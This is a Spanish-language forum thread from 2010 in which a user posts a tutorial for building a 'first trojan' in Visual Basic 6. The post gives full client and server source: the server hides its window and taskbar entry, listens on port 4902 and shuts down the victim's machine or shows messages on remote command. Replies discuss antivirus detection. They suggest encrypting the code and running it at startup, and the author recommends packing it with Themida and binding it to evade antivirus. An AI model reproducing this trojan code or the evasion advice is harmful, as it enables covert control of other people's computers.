Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]

Iniciado por NightMore, 16 Noviembre 2010, 21:39 PM

0 Miembros y 2 Visitantes están viendo este tema.

NightMore

                                                                        [Mi primer troyano]
Programas necesitados : Visual basic 6.0
Hola,buenos dias.Me pase por algunos post y encontre que mucha gente trata de hacer su primer troyano.Este es un troyano simple.Espero que comprendan que no deben copiar & pegar deben estudiar este codigo.Para avansar mas con el.


Bueno,Abrimos visual basic 6.0 Colocamos 2 label 2 textbox 2 botones(Dos botones por ahora) El primer commandbuton se va a llamar "Conectar" El segundo CommandButon "Desconectar"
Label1: Se va a llamar Ip/Host :
Label2: Se va a llamar Puerto :

Lo acomodon como ustedes quieran.Bueno agregamos el componente winsock y le ponemos el nombre Sock1 o como ustedes quieran

En el command1(Conectar) Lo clickeamos 2 veces Adentro de el commandbuton1(Conectar) Colocamos el sigiente codigo
Sock1.close 'Cierra todas las conexiones
Sock1.connect text1.text,text2.text 'el text1.text es donde se ingresa la ip el text2.text el puerto


Listo el command1 lo tenemos listo ahora vamos al command2 lo clikeamos 2 veces.Adentro del commandbutton2 colocamos el sigiente codigo :
Sock1.close ' Cierra todas las conexiones

Ahora agregamos el boton3 commandbutton3 en propiedades eligimos el caption en caption escribimos Shutdown.Adentro del commandbutton3 ponemos :

If Winsock1.State = 7 Then 'Verifica que el winsock este conectado 7 = Conectado
    Winsock1.SendData "Shutdown" 'envia una señal al servidor la señal "Shutdown"
Else 'Si no estamos conectado pasa lo sigiente
    MsgBox "Error necesitas estar conectado.", vbInformation, "Error :"
End If
end sub


Ahora generamos el exe File>Make to exe lo guardamos.Ahora Hacemos otro proyecto que seria el servidor.Elegimos el exe standar ahora clickeamos 2 veces el formulario ponemos lo sigiente


Me.Visible = False
App.TaskVisible = False 
App.Title = ""

Winsock1.LocalPort = "4902"
Winsock1.Listen


Ahora agregamos el componente winsock1 y una ves colocado en el formulario ponen en general clickear 2 veces form load ... y ponen el sigiente codigo en declaraciones

Private Const SPLITTER As String = "{Ex}"


Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.LocalPort = "4902"
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Temp As String
Dim Temp2() As String

Winsock1.GetData Temp
Temp2 = Split(Temp, SPLITTER)
'SPLITTER which = "{Ex}"
Select Case Temp2(0)
    Case "Shutdown"
    Shell "shutdown -s -t 00" ' Esta es la señal de shutdown
    Case "Message"
    MsgBox Temp2(1)
End Select
End Sub
No uses la programacion contra el mal no cometas pecados,con programacion.Usa la programacion con sabiduria y dios te dara una mano.

Que dios los vendiga a todos

Psyke1

Bienvenido!
Gracias por el esfuerzo pero creo que la red esta un poco saturada ya de manuales de este tipo.

DoEvents! :P

BlackZeroX

.
@Mr. Frog ©::Deja que aprenta total la red es libre...

@NightMore::no lo he revisado pero lee un poco sobre logica matematica y relacionalo con la programacion te ayudara bastante... quisas no le encuentres similitud pero a la larga te ayudara bastante.

Dulces Lunas!¡.
The Dark Shadow is my passion.

Psyke1

Me exprese mal, no digo que no sea bueno para aprender, pero creo que seria mejor plantearlo como (pregunta|busqueda de consejo) que como manual... (solo mi opinion personal)
En cuanto al codigo estoy de acuerdo con Black, a proposito:

Código (vb) [Seleccionar]
App.TaskVisible = False 
App.Title = ""


La heurística de los AVs lo detectan, mejor encriptarlo... :)

DoEvents! :P

NightMore

Ami no me lo detecta ningun anti-virus.probe en otras pc tampoco.Solo fue un pequeño tutorial de un cliente y server,Lo que quiere decir un simple tutorial.Pero igual gracias por sus comentarios :D
No uses la programacion contra el mal no cometas pecados,con programacion.Usa la programacion con sabiduria y dios te dara una mano.

Que dios los vendiga a todos

79137913

HOLA!!!

Mmm, esto mas que un troyano es un chat unilateral por MsgBoxes modificado.

Tambien, deberia iniciarse con windows.

Y como dijo Pyske o el SR Rana. Lo va a detectar el AV.

Igual Gracias por agregar conocimiento al foro, esto talves saca alguna duda

Pero bueno.

Lo que me intriga es que Karcrak esta viendo el tema y no escribe nada...

GRACIAS POR LEER!!!
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

79137913                          *Shadow Scouts Team*

fary

Cita de: Mr. Frog © en 17 Noviembre 2010, 12:23 PM
Me exprese mal, no digo que no sea bueno para aprender, pero creo que seria mejor plantearlo como (pregunta|busqueda de consejo) que como manual... (solo mi opinion personal)
En cuanto al codigo estoy de acuerdo con Black, a proposito:

Código (vb) [Seleccionar]
App.TaskVisible = False 
App.Title = ""


La heurística de los AVs lo detectan, mejor encriptarlo... :)

DoEvents! :P

ademas App ya no va ni en windows vista ni en 7

salu2!
Un byte a la izquierda.

Karcrack

Cita de: 79137913 en 17 Noviembre 2010, 17:42 PM
Lo que me intriga es que Karcrak esta viendo el tema y no escribe nada...
No creo que sea necesario que comente en cada post que leo :xD Ademas, comparto la opinion de Mr.Frog ;)

BlackZeroX

Cita de: 79137913 en 17 Noviembre 2010, 17:42 PM
...
Y como dijo Pyske o el SR Rana. Lo va a detectar el AV.
...
Igual Gracias por agregar conocimiento al foro, esto talves saca alguna duda
...

Eso esta demás, es simple y ayudara a muchos para sistemas futuros eso en punto de vistaa deberia ser lo mas resaltable, mas no lo de uso daniño... por algo libero el SourceCode.

Dulces Lunas!¡.
The Dark Shadow is my passion.

NightMore

Dinki99 te equibocas yo,Yo tengo windows7 y si funciona.Algunos comandos no pero otros si.si los detecta el anti-virus solo usen temida despues bindenlo y listo.No lo detecta...
No uses la programacion contra el mal no cometas pecados,con programacion.Usa la programacion con sabiduria y dios te dara una mano.

Que dios los vendiga a todos